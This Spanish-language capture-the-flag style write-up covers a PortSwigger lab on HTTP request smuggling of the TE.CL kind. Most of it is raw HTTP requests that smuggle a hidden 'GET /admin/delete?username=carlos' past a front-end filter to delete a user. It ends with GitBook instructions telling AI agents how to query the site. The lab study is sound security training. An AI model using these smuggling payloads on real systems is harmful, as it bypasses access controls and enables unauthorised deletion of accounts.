> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/request-smuggling/front-end-security-bypass-via-te-cl.md).

# Evasión de seguridad del front-end mediante TE.CL

### Explotación del contrabando de solicitudes HTTP para eludir los controles de seguridad del front-end, vulnerabilidad TE.CL

El sistema se basa en un servidor front-end y un servidor back-end. / Back-end **no maneja la codificación fragmentada**, mientras que el front-end **bloquea el acceso a /admin**. / El objetivo es **disimular una solicitud a /admin** para eliminar al usuario carlos.

Aunque la aplicación admite HTTP/2, la explotación se basa en técnicas específicas de HTTP/1.

<figure><img src="/files/6ca5219cf42ae6c92f0e217df5c899b758a4584e" alt=""><figcaption></figcaption></figure>

#### **Observación inicial**

El front-end interpreta correctamente `Transfer-Encoding: chunked`. / Primero enviamos una solicitud simple:

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 5
Transfer-Encoding: chunked

0


```

#### **Construcción de la solicitud contrabandeada**

Un **nueva solicitud completa** se inyecta en el cuerpo fragmentado.

#### **Modelo preparatorio**

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: tamaño
Transfer-Encoding: chunked

tamaño
GET /admin HTTP/1.1
Host: localhost
Content-Length: tamaño

test=testing
0


```

#### **Ajuste del tamaño**

Un mínimo `Content-Length` en el lado del front-end se fija, seguido de un fragmento que contiene la solicitud contrabandeada:

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked

48
GET /admin HTTP/1.1
Host: localhost
Content-Length: 22

test=testing
0


```

El servidor interpreta bien la solicitud inyectada.

<figure><img src="/files/9f65f1a86289b1d40d51b78161c136c9414c62c1" alt=""><figcaption></figcaption></figure>

#### **Inyección de la solicitud final para eliminar a Carlos**

La solicitud objetivo se reemplaza por una solicitud de eliminación de usuario:

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked

48
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 22

test=testing
0


```

Luego, esta solicitud contrabandeada es procesada directamente por el back-end, eludiendo por completo el filtrado del front-end.

```http
POST / HTTP/1.1
Host: 0ac200c5042dc65b808a3ab1002d0070.web-security-academy.net
Cookie: session=rXFwBvrst17s4HrSbQdCCnNDwjvhPXvf
Content-Length: 4
Transfer-Encoding: chunked

5f
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 22

test=testing
0


```

<figure><img src="/files/83641228fa3ac966b92549d62e58a1ff0fc015e8" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/request-smuggling/front-end-security-bypass-via-te-cl.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
